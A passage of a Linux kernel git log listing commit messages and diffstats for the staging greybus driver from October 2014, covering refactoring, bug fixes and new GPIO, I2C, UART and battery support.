+++++++-- 7 files changed, 52 insertions(+), 43 deletions(-) commit f348964c266c6b2db80af8b7a75a6f9ef566f1c3 Author: Greg Kroah-Hartman Date: Tue Oct 28 09:27:50 2014 +0800 greybus: kernel_ver.h: add ATTRIBUTE_GROUPS() macro for older kernels This was added in 3.11, and we need it for 3.10 Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit eec5883f5179367821ab5102be897231dc64fa62 Author: Greg Kroah-Hartman Date: Mon Oct 27 18:00:13 2014 +0800 greybus: module: remove unneeded XXX comment about module id values We do properly check for duplicate module ids, as fixed in 008d85d90ae1ab31f1f7b80f245f6ee2eb5aed49 "module: don't create duplicate module ids", so remove the XXX marker. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6507cced6bf00c53108034a4954b9b8b73e6a216 Author: Greg Kroah-Hartman Date: Mon Oct 27 17:58:54 2014 +0800 greybus: FIXME/XXX removals: We have proper reference counting now Now that we have proper reference counting for modules, interfaces, and connections, no need to worry about grabbing a pointer to your "parent" structure, all is good. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 2 +- drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/operation.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 4d98098942bda347cd9b5ce1b8f253e631ddf2a8 Author: Greg Kroah-Hartman Date: Mon Oct 27 17:42:45 2014 +0800 greybus: uart-gb: remove global init functions The uart-gb code needs to init the tty core before it can add devices. Previously we hard-coded this in the greybus core, move this to be "dynamic" and self-contained within the uart-gb.c file. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 ---------- drivers/staging/greybus/greybus.h | 3 --- drivers/staging/greybus/uart-gb.c | 41 ++++++++++++++++++--------------------- 3 files changed, 19 insertions(+), 35 deletions(-) commit aed0bc6e6856d467061e8de2f3adc713c3561628 Author: Greg Kroah-Hartman Date: Mon Oct 27 17:32:34 2014 +0800 greybus: uart-gb: convert over to the connection interface Move the uart code over to use the "new" connection interface, instead of the "old" module interface. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++++-- drivers/staging/greybus/greybus.h | 3 +++ drivers/staging/greybus/uart-gb.c | 29 ++++++++++------------------- 3 files changed, 19 insertions(+), 21 deletions(-) commit 81f4e22732f0a29826168899d7e62839812d34dd Author: Alex Elder Date: Mon Oct 27 03:48:32 2014 -0500 greybus: embed the i2c adapter struct We don't need to dynamically allocate the i2c adapter structure, we can just embed it right in struct gb_i2c_device. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) commit 81d631cae83e32e3dcab0d20d9c387592e1fa230 Author: Alex Elder Date: Mon Oct 27 03:48:31 2014 -0500 greybus: gpio: kill gpio_controller->gpio This field is never used (and not needed) so get rid of it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 1 - 1 file changed, 1 deletion(-) commit 708971e43c29d103c22409cf66b6213033518da3 Author: Greg Kroah-Hartman Date: Mon Oct 27 15:40:09 2014 +0800 greybus: operation: make the timeout a per-operation thing, not per-connection An operation is what can timeout, not a connection itself. So notify the operation timedout, and the connection can then do with it as it sees fit, if necessary. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 --------- drivers/staging/greybus/connection.h | 1 - drivers/staging/greybus/operation.c | 41 ++++++++++++++++++++++++------------ drivers/staging/greybus/operation.h | 3 ++- 4 files changed, 30 insertions(+), 25 deletions(-) commit 4afbba0703b2b2a2a9355e5d29a7a8ddcff92953 Author: Greg Kroah-Hartman Date: Mon Oct 27 14:01:06 2014 +0800 greybus: core: make greybus_kill_gbuf not return a value We can't do anything if killing a gbuf fails, so just make this function "always" be successful. At the same time, make the host controller function also be called "kill_gbuf" to keep the terminology in sync. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/es1-ap-usb.c | 7 +++---- drivers/staging/greybus/gbuf.c | 6 +++--- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/operation.c | 15 ++++----------- 5 files changed, 13 insertions(+), 21 deletions(-) commit 724b619dfbe1238eb8b9bd4916eeaf40b5640b28 Author: Greg Kroah-Hartman Date: Mon Oct 27 13:32:27 2014 +0800 greybus: core: check for valid hcd callbacks When registering a host controller, verify that all of the needed callbacks are present, so we don't have to do the testing on any "hot" paths when we want to send real data. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder Date: Mon Oct 27 13:31:01 2014 +0800 greybus: gbuf: implement gbuf_kill_gbuf() Hook up gbuf_kill_gbuf() by implementing yet-another-host-controller callback and a gbuf-specific pointer to hold the tracking data the hcd needs in order to be able to abort a transfer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/es1-ap-usb.c | 15 +++++++++++++++ drivers/staging/greybus/gbuf.c | 8 ++++++-- drivers/staging/greybus/greybus.h | 2 ++ 3 files changed, 23 insertions(+), 2 deletions(-) commit d4c8247b56a3c3f9c8c879189338d2fa13a281a0 Author: Greg Kroah-Hartman Date: Mon Oct 27 12:33:47 2014 +0800 greybus: gpio-gb: fix some endian sparse warnings that were real. Not like we are ever going to use a BE cpu, but it's good to be "correct"... Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit f9624ded90d0f4f6077b243d8526da671ba58d25 Author: Greg Kroah-Hartman Date: Mon Oct 27 12:30:15 2014 +0800 greybus: operation: fix some sparse warnings One of which was "real". Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 066799c18ff476642858fb0e4050c5c600c47e4c Author: Greg Kroah-Hartman Date: Fri Oct 24 18:46:15 2014 +0800 greybus: module: don't create duplicate module ids If we somehow get a hotplug event for a module id that we already have created[1], don't try to create it again, or sysfs will complain loudly. Instead, abort the creation properly. [1] If, for example, you happened to run a script on a greybus emulator twice in a row... Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/module.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 3e6d5f3a6103b20c70f4d75b90d2c798045cc7ef Author: Greg Kroah-Hartman Date: Fri Oct 24 18:33:59 2014 +0800 greybus: i2c: point to the proper parent device Use the connection, not the host controller, as the parent device of the i2c device. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 44dd970be94a468c60e0745536f29115dd40d368 Author: Greg Kroah-Hartman Date: Fri Oct 24 17:54:02 2014 +0800 greybus: module: enable all sysfs attributes We were thinking that module attributes were known at the time the device was created in the system, so we could query them to know if the sysfs file was present or not. Unfortunatly that's not the case, we create the device before we parse the values, so just always show the sysfs attributes. If there is no such attribute, the sysfs file will be empty (i.e. for the string attributes.) Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sysfs.c | 19 ------------------- 1 file changed, 19 deletions(-) commit c4a432d3db8b9fa0145048ac4a84bac54c7a9d73 Author: Alex Elder Date: Fri Oct 24 05:02:02 2014 -0500 greybus: fix repeated input errors I screwed up the error handling in a patch the other day. If we get an error on an input URB we should not re-submit it. Signed-off-by: Alex Elder drivers/staging/greybus/es1-ap-usb.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit f0f61b90427b776b884821cde483528580f6d630 Author: Greg Kroah-Hartman Date: Fri Oct 24 17:34:46 2014 +0800 greybus: hook up greybus to the driver model This patch hooks up modules, interfaces, and connections to the driver model. Now we have a correct hierarchy, and drivers can be correctly bound to the proper portions in the future. Devices are correctly reference counted and torn down in the proper order on removal of a module. Some basic sysfs attributes have been created for interfaces and connections. Module attributes are not working properly, but that will be fixed in future changes. This has been tested on Alex's machine, with multiple hotplug and unplug operations of a module working correctly. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 59 ++++++++++++++++++++++++++++-- drivers/staging/greybus/connection.h | 2 + drivers/staging/greybus/core.c | 50 ++++++------------------- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/interface.c | 71 +++++++++++++++++++++++++++++++----- drivers/staging/greybus/interface.h | 4 +- drivers/staging/greybus/module.c | 36 +++++++++++++----- 7 files changed, 161 insertions(+), 62 deletions(-) commit 2d5e4fa9dc2e629b1ace5fa715f1d6bb2a71d61f Author: Alex Elder Date: Wed Oct 22 05:36:18 2014 -0500 greybus: update AP id service message Rename and renumber the values for the AP ID service message and related symbols to match the recently-updated spec. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 6 +++--- drivers/staging/greybus/svc_msg.h | 11 ++++++----- 2 files changed, 9 insertions(+), 8 deletions(-) commit 65e50f95f18066442093d4c49528804a9bc8956f Author: Alex Elder Date: Wed Oct 22 05:36:17 2014 -0500 greybus: set route before sending packets The route for a connection needs to be set *before* we initialize the connection. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 8a9bf8a99669e365bdc89d27bbc29bf0216472f6 Author: Matt Porter Date: Wed Oct 22 03:22:48 2014 -0400 greybus: svc: remove the DDB function message support We removed the DDB function messages from the spec as they are not needed. Now remove it from the code. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 16 ---------------- drivers/staging/greybus/svc_msg.h | 39 +++------------------------------------ 2 files changed, 3 insertions(+), 52 deletions(-) commit c41b4f121240df46e5d901ad8aa9b9051b6c58e1 Author: Alex Elder Date: Wed Oct 22 02:04:32 2014 -0500 greybus: only initialize interfaces when up Rather than bringing up all interfaces described in the manifest, wait until we get a link up message, and at that time go initialize the link. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 17 ++++++++--------- drivers/staging/greybus/core.c | 2 -- drivers/staging/greybus/module.c | 24 +++++++++++++++++------- drivers/staging/greybus/module.h | 3 ++- 4 files changed, 27 insertions(+), 19 deletions(-) commit 525f1467bc22ad7d0866444b3a57c21ba64a0dd2 Author: Alex Elder Date: Wed Oct 22 02:04:31 2014 -0500 greybus: make svc_set_route_send() public Give svc_set_route_send() non-private scope so it can be used by a function outside "ap.c" in the next patch. Change its type so it can tell its caller if an error occurs. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 12 +++++++----- drivers/staging/greybus/greybus.h | 3 ++- 2 files changed, 9 insertions(+), 6 deletions(-) commit 36561f23a80b7c44320f34a3b6e6833616e50200 Author: Alex Elder Date: Wed Oct 22 02:04:30 2014 -0500 greybus: define connection state Define the state of a connection. A connection will not be enabled until it has been successfully set up. Once it starts getting torn down its state will move to "being destroyed". Don't send any operation request messages unless the connection is enabled. And drop any incoming messages if if the connection is not enabled. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 23 +++++++++++++++++++---- drivers/staging/greybus/connection.h | 9 +++++++++ drivers/staging/greybus/operation.c | 6 ++++++ 3 files changed, 34 insertions(+), 4 deletions(-) commit e1158df0634ab771297fc7510dd78bcbe83e8c87 Author: Alex Elder Date: Wed Oct 22 02:04:29 2014 -0500 greybus: define operation_cancel() Define a new function operation_cancel() that cancels an outstanding operation. Use it to clear out any operations that might be pending at the time a connection is torn down. Note: This code isn't really functional yet, partially because greybus_kill_gbuf() is not implemented. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 +++++++ drivers/staging/greybus/operation.c | 18 ++++++++++++++++++ drivers/staging/greybus/operation.h | 2 ++ 3 files changed, 27 insertions(+) commit e816e3741956746d7a0e1992e4a4e96e8af5ab30 Author: Alex Elder Date: Wed Oct 22 02:04:28 2014 -0500 greybus: time out operation requests Arrange for operation requests that takke too long to time out. At the moment, nothing happens when that occurs (other than a silly message getting printed). When the connection and operation and interface and module code are cleaned up properly, this event should most likely cause the affected module to get torn down. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 ++++++++++ drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/operation.c | 34 ++++++++++++++++++++++++++++++++-- 3 files changed, 43 insertions(+), 2 deletions(-) commit 63e4a8ee8fdd9d86e7d2f16a99d82ee03fa0a785 Author: Greg Kroah-Hartman Date: Wed Oct 22 16:38:07 2014 +0800 greybus: module: fix double free of module Also properly clean up all modules when you remove a host driver Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 19 +++++++++++++++---- drivers/staging/greybus/greybus.h | 2 -- 2 files changed, 15 insertions(+), 6 deletions(-) commit 060b93ddbb5dedd10bddb61664815752db56a9f3 Author: Matt Porter Date: Wed Oct 22 02:06:09 2014 -0400 greybus: ap: add svc_set_route_send() command and use it on a link up event When the AP receives a link up event, request that the SVC set a route to the interface's device id (this device id has been previously reported to the AP). In the future, we may not always immediately set a route upon receiving a link up event but this is sufficient for the known use cases at this time. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit e390b193d6abef0ed3316e3738cbadba8e9c7e17 Author: Matt Porter Date: Wed Oct 22 02:06:08 2014 -0400 greybus: svc: remove unneeded fields from the unipro set route message payload CPort connections are being handled in the application layer connection protocol and the layer 3 switch doesn't care about them. Also, the switch doesn't care about a source device id when setting up the route table. Reduce the message to just the necessary destination device ID. As the SVC is aware of which switch port it found the module/interface and assigned the device ID, we can simply tell the SVC to set a route to the device ID it has reported to the AP as being active. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc_msg.h | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 6232b073d44646e3051a8871feb2deaabe9d624c Author: Matt Porter Date: Tue Oct 21 22:43:31 2014 -0400 greybus: ap: process the UniPro link up message The link up message is the event that tells the AP what device ID has been assigned to a particular interface on a module during enumeration. The link up is sent *only* after the hotplug event for a particular module has been sent to the AP. The link up payload must carry the Module ID and Interface ID to uniquely identify the struct gb_interface to which the Device ID has been assigned. After processing of the link up message, the interface's device_id field will contain the assigned Device ID so that the AP has the information necessary to issue network route commands. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 19 +++++++++++++++++++ drivers/staging/greybus/svc_msg.h | 2 ++ 2 files changed, 21 insertions(+) commit 1a4c013a44add7f174e0507f0240f3b3cc810301 Author: Matt Porter Date: Tue Oct 21 22:43:30 2014 -0400 greybus: interface: add gb_interface_find() Add support for getting a struct gb_interface from an Interface ID. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 12 ++++++++++++ drivers/staging/greybus/interface.h | 3 +++ 2 files changed, 15 insertions(+) commit 6271b5bac99c2d06543adbdbecb9157d77765831 Author: Matt Porter Date: Tue Oct 21 22:43:29 2014 -0400 greybus: module: add gb_module_find() Add support for getting a struct gb_module from a Module ID. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 11 +++++++++++ drivers/staging/greybus/module.h | 3 +++ 2 files changed, 14 insertions(+) commit 0369a459982f58688235000fc8990b70e7553e6e Author: Greg Kroah-Hartman Date: Tue Oct 21 16:25:13 2014 +0800 greybus: battery-gb: Allow kernel values to get out of sync with greybus spec We can't know that the greybus values and the kernel values for a number of battery enumerated types will remain in sync. And as theses are sent by an external device from the kernel, we have to explicitly check these values. Reported-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 52 +++++++++++++++++++++++++++++++++--- 1 file changed, 48 insertions(+), 4 deletions(-) commit c9346e19b25f9abc7630200d7d180a20224a956c Author: Greg Kroah-Hartman Date: Tue Oct 21 15:51:53 2014 +0800 greybus: battery-gb.c: fix memory leak found by Viresh Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 1 + 1 file changed, 1 insertion(+) commit cc662399dc26740c522f4c10504f9e06e331f4a5 Merge: 98f4ab2 c0855bf Author: Greg Kroah-Hartman Date: Tue Oct 21 14:37:44 2014 +0800 greybus: Merge branch 'gregkh_work' into master This pulls in the battery driver work I did there. commit 98f4ab2df9b51356b48210188b4fbff41789acbb Author: Matt Porter Date: Tue Oct 21 01:52:27 2014 -0400 greybus: ap: add support for the AP Device ID unipro management function message The AP needs to know its assigned Device ID in order to establish Greybus connections between CPorts. We could have pulled the Device ID from the controller hardware in a driver specific manner, but instead we define one generic message from the SVC to let the AP know this information. Add this additional unipro management message and handle it by setting the supplied Device ID in the struct greybus_host_device. The greybus core will use this to populate the source Device ID when establishing a connection between the AP and another module's CPort. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 9 +++++++-- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/svc_msg.h | 6 ++++++ 3 files changed, 14 insertions(+), 2 deletions(-) commit 697e55d35dcb441cc5bd800efae0f98ec8d63fd9 Author: Alex Elder Date: Mon Oct 20 23:01:04 2014 -0500 greybus: improve module cleanup code When a module gets destroyed all of its state and the state of its interfaces and connections (etc.) need to be torn down. This is not now being done properly. Add this teardown code. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 8 ++++++++ drivers/staging/greybus/connection.c | 24 ++++++++++++++++++++++++ drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/core.c | 13 ++++++------- drivers/staging/greybus/greybus.h | 5 +++++ drivers/staging/greybus/interface.c | 14 ++++++++++++++ drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/module.c | 23 +++++++++++++++++++---- 8 files changed, 78 insertions(+), 11 deletions(-) commit fb305c335ca3c7f175c18654d952880ec91df9ef Author: Alex Elder Date: Mon Oct 20 23:01:03 2014 -0500 greybus: stash power supply pointer in connection The battery code was not stashing a copy of its private data pointer. It'll be needed in the next patch. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 1 + 1 file changed, 1 insertion(+) commit 03130a77d52bd738cdcee17627aa5e3d19fdbeeb Author: Alex Elder Date: Mon Oct 20 23:01:02 2014 -0500 greybus: fix op_cycle logic The function that computes the operation id for a connection is wrongly using MOD rather than AND. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c0855bfdd65dd5c100d5c63daab5897a117d8b49 Author: Greg Kroah-Hartman Date: Tue Oct 21 14:31:24 2014 +0800 greybus: battery-gb: Add battery communication with the module This adds support to talk to the battery to get the various requests made to it, based on the battery protocol defined in the Greybus Specification. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 231 +++++++++++++++++++++++++++++++++-- 1 file changed, 219 insertions(+), 12 deletions(-) commit 1ec1d6dd357766cb6d1816ad61cc0f7ca3dbc960 Author: Alex Elder Date: Mon Oct 20 10:28:00 2014 -0500 greybus: leverage ap_disconnect() in ap_probe() With a few minor changes, ap_disconnect() can correctly handle cleaning up even a partially initialized USB interface. Make those changes, and then use ap_disconnect() to simplify cleanup for all the error paths in ap_probe(). Reset all fields as they're cleaned up to facilitate debugging. Signed-off-by: Alex Elder drivers/staging/greybus/es1-ap-usb.c | 58 ++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 29 deletions(-) commit 6892537f61b1eac275ad50e093708e5e3c8664bd Author: Alex Elder Date: Mon Oct 20 10:27:59 2014 -0500 greybus: move ap_disconnect() The next patch has ap_probe() reference ap_disconnect(). To prepare for that, move ap_disconnect() up in the file. This is done as a separate commit to make it easier to see this move involves no other change to that function. This and the next commit can be squashed if desired. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 58 ++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 29 deletions(-) commit 6ff5e00a176878c218c2b27e4437e6af8f46a28c Author: Alex Elder Date: Mon Oct 20 10:27:58 2014 -0500 greybus: remove cports and strings from gb_module We no longer keep copies of strings found in the manifuest in a module's strings array, so we can get rid of the strings array. Similarly, the new manifest parsing code sets up connections for each cport id advertised for a module, so the cport array is no longer needed either. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 --- drivers/staging/greybus/module.h | 5 ----- 2 files changed, 8 deletions(-) commit 09c521dc0a98141ae3c1b431c967d90d46c372e8 Author: Alex Elder Date: Mon Oct 20 10:27:57 2014 -0500 greybus: drop gb_* device fields from gb_module A struct gb_module has a bunch of fields from the earlier skeleton code, where a module was assumed to possibly have one of every type of device available on the GP Bridge. The manifest parsing code changed it so these things will be related to connection endpoints, so these gb_module fields are no longer needed. A few of these (battery and sdio) haven't been implemented the "new way" yet, so just leave a bit of the code that was there commented out for now. Also, gb_tty seems to be partially implemented and I don't want to remove that without knowing where it's headed, so that one stays. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 2 ++ drivers/staging/greybus/module.h | 5 ----- drivers/staging/greybus/sdio-gb.c | 4 +++- 3 files changed, 5 insertions(+), 6 deletions(-) commit 5b3db0ddaaf7e844dd0efbaa11a1cec4700aff34 Author: Alex Elder Date: Mon Oct 20 10:27:56 2014 -0500 greybus: create a slab cache for operations Everything we do on greybus will involve an operation, so create a slab cache for that frequently-allocated data structure. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 40 +++++++++++++++++++++++++------------ 1 file changed, 27 insertions(+), 13 deletions(-) commit 599dc6aa8ed91addf38814de22bdb5bb813a95aa Author: Alex Elder Date: Mon Oct 20 10:27:55 2014 -0500 greybus: properly drop device reference Drop the USB device reference taken at the top of ap_probe() in the event greybus_create_hd() fails. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 6813e35a0ea48749b4d0f1eb1c4df35f4fa2a4c1 Author: Viresh Kumar Date: Mon Oct 20 16:46:18 2014 +0530 greybus: .gitignore: minor updates Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/.gitignore | 3 +++ 1 file changed, 3 insertions(+) commit 8597e6b2b9df0a1c777e3183c105d78a470d0c66 Author: Viresh Kumar Date: Mon Oct 20 16:45:50 2014 +0530 greybus: Fix parameters of core_param() core_param() takes four parameters instead of three and so results in this compilation error: greybus/core.c:25:33: error: macro "core_param" requires 4 arguments, but only 3 given core_param(nogreybus, bool, 0444); ^ Fix this by adding proper arguments to it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ff6e0b9c2f05e9f3a06e84af5af2fa8a2c8098f8 Author: Matt Porter Date: Mon Oct 20 06:39:45 2014 -0400 greybus: gpio-gb: fix offset error checking and usage Offset (or hwgpio num) is the offset within a gpiochip, not the unique gpio namespace number. Adjust the error checking and use of offset in our operation calls to fix this. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 58 +++++++++++++++------------------------ 1 file changed, 22 insertions(+), 36 deletions(-) commit 42d4a22d6b8e66f1e4d08a643429dbe5321eb458 Author: Greg Kroah-Hartman Date: Mon Oct 20 16:02:56 2014 +0800 greybus: add LED protocol numbers drivers/staging/greybus/connection.c | 1 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/operation.c | 1 + 3 files changed, 3 insertions(+) commit 2bb7eae8be12e8510fdb00aca6886b91ce72cb25 Author: Greg Kroah-Hartman Date: Mon Oct 20 15:24:57 2014 +0800 greybus: battery: some hooking up to the greybus core Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 13 ++++++++----- drivers/staging/greybus/connection.c | 6 ++++-- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/operation.c | 1 + 5 files changed, 15 insertions(+), 7 deletions(-) commit 47ee0d135e7b1e9feebbe20342bacb99e4ae2ff6 Author: Matt Porter Date: Mon Oct 20 01:51:18 2014 -0400 greybus: gpio-gb: remove unused status field from struct gb_gpio_get_value_request probably a cut and paste error got this unused status field. remove it. Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 1 - 1 file changed, 1 deletion(-) commit 43789c319ee80140fd1d07b85e1a619a8e01e466 Author: Greg Kroah-Hartman Date: Mon Oct 20 15:09:49 2014 +0800 greybus: battery-gb: provide accessors for a few more functions Put the hard coded values in a function to make it easier to see what needs to be done here. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 213aefe206d288eee4a2d480d9c6b2889b441682 Author: Greg Kroah-Hartman Date: Mon Oct 20 13:40:02 2014 +0800 greybus: gpio-gb: allow it to build properly for all current kernel versions. GPIO remove changed the api for 3.17 to try to make up for some previously foolish design decisions. Handle that in kernel_ver.h to make the code simple. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 3 +-- drivers/staging/greybus/kernel_ver.h | 22 ++++++++++++++++++++++ 2 files changed, 23 insertions(+), 2 deletions(-) commit 6ce3e03f717820eb8edd92c9ac659e2a050727db Author: Greg Kroah-Hartman Date: Mon Oct 20 13:27:42 2014 +0800 greybus: greybus_manifest.h: fix up class protocol numbers to match the spec. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) commit f012a520e1a8bb5d05de3307334a8de4dd95afdf Author: Alex Elder Date: Fri Oct 17 21:03:49 2014 -0500 greybus: report gbuf errors If a gbuf completion indicates an error has occurred, report it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) commit bedfdf30565ef533b578d90a9dae5483347c8ea1 Author: Alex Elder Date: Fri Oct 17 05:18:22 2014 -0500 greybus: update gbuf status for completion handlers Currently, if a USB urb completes with an error, that error status is not transferred back to the gbuf that it's associated with. For inbound data there's not a lot we can do about an error, but for outbound data, this means there is no notification to the submitter that something went wrong. For outbound data copy the urb status directly back to the gbuf as its status. Follow USB's lead and set the status to -EINPROGRESS while a gbuf is "in flight." Assign a gbuf an initial status value of -EBADR to help identify use of never-set status values. When an inbound urb fails (SVC or CPort), currently the urb is just leaked, more or less (i.e., we lose an urb posted to receive incoming data). Change that so such an error is reported, but then re-submitted. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 18 ++++++++++++------ drivers/staging/greybus/gbuf.c | 3 +++ drivers/staging/greybus/operation.c | 1 + 3 files changed, 16 insertions(+), 6 deletions(-) commit d75286852bb3bd575bd8707f80ca0b362a7ae5a6 Author: Alex Elder Date: Fri Oct 17 05:09:21 2014 -0500 greybus: add write retry support for i2c It is expected that i2c writes may fail, and in that case the driver simply retries some number of times before actually treating it as a failure. Define a GB_OP_RETRY status, which is interpreted by the i2c driver as an indication a retry is in order. We just translate that into an EAGAIN error passed back to the i2c core. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 10 +++++++--- drivers/staging/greybus/operation.h | 3 ++- 2 files changed, 9 insertions(+), 4 deletions(-) commit bb2e1c9626c9bfe0b3558830a70681eaf1f71e2d Author: Alex Elder Date: Thu Oct 16 06:35:39 2014 -0500 greybus: initial operations-based GPIO driver First cut. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + drivers/staging/greybus/gpio-gb.c | 811 ++++++++++++++++++++++++++++++++--- drivers/staging/greybus/greybus.h | 1 + 3 files changed, 759 insertions(+), 54 deletions(-) commit ed8800dc376edd7aa10815fb9df83a66c7557031 Author: Alex Elder Date: Thu Oct 16 06:35:38 2014 -0500 greybus: add i2c driver This patch adds the i2c driver, based on the use of Greybus operations over Greybus connections. It basically replaces almost all of what was previously found in "i2c-gb.c". When gb_connection_device_init(connection) is called, any connection that talks the GREYBUS_PROTOCOL_I2C is passed to gb_i2c_device_init() to be initialized. Initialization involves verifying the code is able to support the version of the protocol. For I2C, we then query the functionality mask, and set the retry count and timeout to default values. After that, we set up the i2c device and associate it with the connection. The i2c_algorithm methods are then implemented by translating them into Greybus operations. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + drivers/staging/greybus/i2c-gb.c | 533 ++++++++++++++++++++++++++++++----- drivers/staging/greybus/operation.c | 10 +- 3 files changed, 471 insertions(+), 73 deletions(-) commit 98d35ba22e6328491559892e796f276de7ba3d00 Author: Alex Elder Date: Thu Oct 16 06:35:37 2014 -0500 greybus: kill old cport handlers The original 